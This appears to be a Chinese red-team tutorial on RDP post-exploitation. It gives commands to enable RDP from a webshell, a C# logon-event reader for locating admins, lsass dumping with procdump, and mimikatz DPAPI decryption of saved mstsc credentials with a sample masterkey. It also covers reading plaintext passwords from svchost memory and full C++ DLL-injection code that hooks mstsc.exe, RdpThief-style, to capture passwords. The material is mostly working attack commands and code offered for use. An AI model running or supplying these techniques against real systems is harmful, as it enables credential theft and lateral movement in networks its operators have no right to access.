|
0x01 查询是否开启33891.13389开启的进程名为TermService,所以我们可以查看是否开启这个进程
 
tasklist /svc | findstr TermService
 
1.2 
0x02 查看rdp开启具体端口很多运维为了安全起见可能会修改默认3389端口为其他端口
2.1tasklist /svc | findstr TermServicenetstat -ano | findstr "前面获取到的pid" 
2.2REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
 
 
0x03 如何开启3389如果获取到目标高权限的webshell可以通过命令开启3389
3.1允许3389端口放行
netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
①:通用开3389(优化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
②:For Win2003:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
③:For Win2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
④:For Every: cmd开3389 win08 win03 win7 win2012 winxp win08,三条命令即可:
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f3.2使用[RegfDenyTSConnections.ps1] https://github.com/QAX-A-Team/Ev ... nyTSConnections.ps1脚本
 
0x04 获取登录日志在windows事件里面id为4624和4635分别为成功登录和失败登录
 
这里看下4624的详情
已成功登录帐户。主题: 安全 ID: SYSTEM 帐户名: WIN-4BS4SH00L5N$ 帐户域: REDTEAM 登录 ID: 0x3e7登录类型: 10新登录: 安全 ID: WIN-4BS4SH00L5N\test 帐户名: test 帐户域: WIN-4BS4SH00L5N 登录 ID: 0xfd71e 登录 GUID: {00000000-0000-0000-0000-000000000000}进程信息: 进程 ID: 0xbcc 进程名: C:\Windows\System32\winlogon.exe网络信息: 工作站名: WIN-4BS4SH00L5N 源网络地址: 192.168.11.12 源端口: 63275详细身份验证信息: 登录进程: User32 身份验证数据包: Negotiate 传递服务: - 数据包名(仅限 NTLM): - 密钥长度: 04625:
帐户登录失败。主题: 安全 ID: SYSTEM 帐户名: WIN-4BS4SH00L5N$ 帐户域: WORKGROUP 登录 ID: 0x3e7登录类型: 2登录失败的帐户: 安全 ID: NULL SID 帐户名: Administrator 帐户域: WIN-4BS4SH00L5N失败信息: 失败原因: 指定帐户的密码已过期。 状态: 0xc0000224 子状态: 0x0进程信息: 调用方进程 ID: 0x184 调用方进程名: C:\Windows\System32\winlogon.exe网络信息: 工作站名: WIN-4BS4SH00L5N 源网络地址: 127.0.0.1 源端口: 0详细身份验证信息: 登录进程: User32 身份验证数据包: Negotiate 传递服务: - 数据包名(仅限 NTLM): - 密钥长度: 0在一些溯源工作可能会用到,还有就是当我们撸下一台服务器我们想定位到办公区或者it,运维组可以通过该方法
 
using System;using System.Collections.Generic;using System.Diagnostics;using System.Linq;using System.Text;namespace SharpEventLog{ class Program { static void Main(string[] args) { if (args.Length == 0) { System.Console.WriteLine("Usage: EventLog.exe -4624"); System.Console.WriteLine(" EventLog.exe -4625"); } if (args.Length == 1 && args[0] == "-4624") { EventLog_4624(); } if (args.Length == 1 && args[0] == "-4625") { EventLog_4625(); } } public static void EventLog_4624() { EventLog log = new EventLog("security"); Console.WriteLine("\r\n========== 4624 ==========\r\n"); var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4624); entries.Select(x => new { x.MachineName, x.Site, x.Source, x.Message, x.TimeGenerated }).ToList(); foreach (EventLogEntry log1 in entries) { string text = log1.Message; string ipaddress = MidStrEx(text, " 源网络地址: ", " 源端口:"); string username = MidStrEx(text, "新登录:", "进程信息:"); username = MidStrEx(username, " 帐户名: ", " 帐户域: "); DateTime Time = log1.TimeGenerated; if (ipaddress.Length >= 7) { Console.WriteLine("\r\n-----------------------------------"); Console.WriteLine("Time: " + Time); Console.WriteLine("Status: True"); Console.WriteLine("Username: " + username.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", "")); Console.WriteLine("Remote ip: " + ipaddress.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", "")); } } } public static void EventLog_4625() { EventLog log = new EventLog("Security"); Console.WriteLine("\r\n========== 4625 ==========\r\n"); var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4625); entries.Select(x => new { x.MachineName, x.Site, x.Source, x.Message, x.TimeGenerated }).ToList(); foreach (EventLogEntry log1 in entries) { string text = log1.Message; string ipaddress = MidStrEx(text, " 源网络地址: ", " 源端口:"); string username = MidStrEx(text, "新登录:", "进程信息:"); username = MidStrEx(username, " 帐户名: ", " 帐户域: "); DateTime Time = log1.TimeGenerated; if (ipaddress.Length >= 7) { Console.WriteLine("\r\n-----------------------------------"); Console.WriteLine("Time: " + Time); Console.WriteLine("Status: Flase"); Console.WriteLine("Username: " + username.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", "")); Console.WriteLine("Remote ip: " + ipaddress.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", "")); } } } public static string MidStrEx(string sourse, string startstr, string endstr) { string result = string.Empty; int startindex, endindex; startindex = sourse.IndexOf(startstr); if (startindex == -1) return result; string tmpstr = sourse.Substring(startindex + startstr.Length); endindex = tmpstr.IndexOf(endstr); if (endindex == -1) return result; result = tmpstr.Remove(endindex); return result; } }}0x05 mstsc保存密码-解密5.1可以通过
cmdkey /ldir /a %userprofile%\AppData\Local\Microsoft\Credentials\*来查看是否存在凭证
 
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
procdump64来获取内存文件
 
然后使用mimikatz获取guidMasterKey:
{12f037b9-df42-4dcf-b9e0-31b57d26c544}
mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2" "exit" > 1.txt
 
然后加载dmp获取对应的MasterKey:
ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::dpapi" "exit" > 2.txt
 
然后使用MasterKey进行解密
mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2 /masterkey:ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078" "exit" > 3.txt
 
5.2当用户通过RDP连接进行身份验证的时候,终端服务是由svchost进程托管,凭证是以纯文本形式储存在svchost进程的内存中。但是在进程里面有很多svchost进程。因此可以通过执行以下命令之一来识别哪个进程,hosts 终端服务连接。
sc queryex termservice
 
查询是那个进程加载了rdpcorets.dll
tasklist /M:rdpcorets.dll
 
可以指定pid写入dmp文件来转存内存
 
然后可以在kali进行离线分析
strings -el svchost*
0x06 hook mstsc一般获取mstsc密码来说就两种方法,第一种获取运行后保存在内存中的密码,第二就是hook mstsc截获密码。前文写过如何获取保存后的密码,现在来讲解如何hook。
6.1 Detours库该库支持 32 位和 64 位进程,这里拿MessageBox函数来进行讲解。在做挂钩的时候必须要确定原始函数的地址和钩子函数地址的目标指针。
6.1.1 Detours库安装[源码下载地址]:https://github.com/Microsoft/Detours。这里以64位进行实验。
使用vs的命令行在src目录执行(x64 Native Tools Command Prompt for VS 2019 和 x86 Native Tools Command Prompt for VS 2019,这两个可以分别用来编译64位和32位的Detours)
nmake
 
编译后会生成一下三个目录
•bin.X64•include•lib.X64
vs建立工程添加
•detours.h•detours.lib
打开程序包管理器控制台执行
Install-Package Detours
 
然后导入.h和.lib文件即可。
#include <Windows.h>#include <detours.h>#pragma comment (lib,"detours.lib")static int(WINAPI* TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox;int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { return TrueMessageBox(NULL, L"Hooked", lpCaption, 0);}int main(){ DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox); DetourTransactionCommit(); MessageBox(NULL, L"11ccaab", L"11ccaab", 0); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox); DetourTransactionCommit();} 
6.2 API Monitor 监控 mstsc附加到mstsc进程,然后监听
 
可以看到ip存放于CredReadW方法中
 
6.3 RdpThief[RdpThief]:https://github.com/0x09AL/RdpThief 编译好是一个 DLL,当注入mstsc.exe进程时,它将执行 API 挂钩,提取明文凭据并将它们保存到%temp%/data.bin文件中。
6.4 dll注入#include <Windows.h>#include <TlHelp32.h>#include <string>typedef void(*PFN_FOO)();int main(){ //获取快照 HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32; DWORD pid = 0; pe32.dwSize = sizeof(PROCESSENTRY32); //查看第一个进程 BOOL bRet = Process32First(hSnap, &pe32); while (bRet) { bRet = Process32Next(hSnap, &pe32); if (wcscmp(pe32.szExeFile, L"mstsc.exe") == 0){ pid = pe32.th32ProcessID; break; } } //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); HANDLE hDestModule = NULL; //接下来找到该进程中kernel32.dll的基址 hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); MODULEENTRY32 mo32 = { 0 }; mo32.dwSize = sizeof(MODULEENTRY32); bRet = Module32First(hSnap, &mo32); while (bRet) { bRet = Module32Next(hSnap, &mo32); wprintf(mo32.szExePath); std::wstring wstr = mo32.szExePath; if (wstr.find(L"KERNEL32.DLL") != std::string::npos){ hDestModule = mo32.modBaseAddr; break; } } LPVOID lpDestAddr = NULL; if (hDestModule != NULL){ //获取本进程的kernel32地址 HMODULE hkernel32 = GetModuleHandleA("KERNEL32.DLL"); //计算函数的位置 LPVOID lploadlibrary = GetProcAddress(hkernel32, "LoadLibraryA"); //获取了目标进程中的loadlibrary的地址 lpDestAddr = (char*)lploadlibrary - (char*)hkernel32 + (char*)hDestModule; } //1.在目标进程开辟空间 LPVOID lpAddr = VirtualAllocEx( hProcess, //在目标进程中开辟空间 NULL, //表示任意地址,随机分配 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节 MEM_COMMIT, //告诉操作系统给分配一块内存 PAGE_EXECUTE_READWRITE ); if (lpAddr == NULL){ printf("Alloc error!"); return 0; } DWORD dwWritesBytes = 0; char* pDestDllPath = R"(C:\TestDLL.dll)"; //2.在目标进程中写入目标dll的路径 bRet = WriteProcessMemory( hProcess, //目标进程 lpAddr, //目标地址 目标进程中 pDestDllPath, //源数据 当前进程中 strlen(pDestDllPath)+1, //写多大 &dwWritesBytes //成功写入的字节数 ); if (!bRet){ VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT); return 0; } //3.向目标程序调用一个线程 创建远程线程 执行写入代码 HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程 NULL, 0, (LPTHREAD_START_ROUTINE)lpDestAddr, //目标进程的回调函数 lpAddr, //回调参数 0, NULL ); return 0;}运行加载dll,使用Process Explorer可以看到成功加载了dll
 
无论是否登录成功密码都会保存在
C:\Users\your username\AppData\Local\Temp\data.bin
 
|
|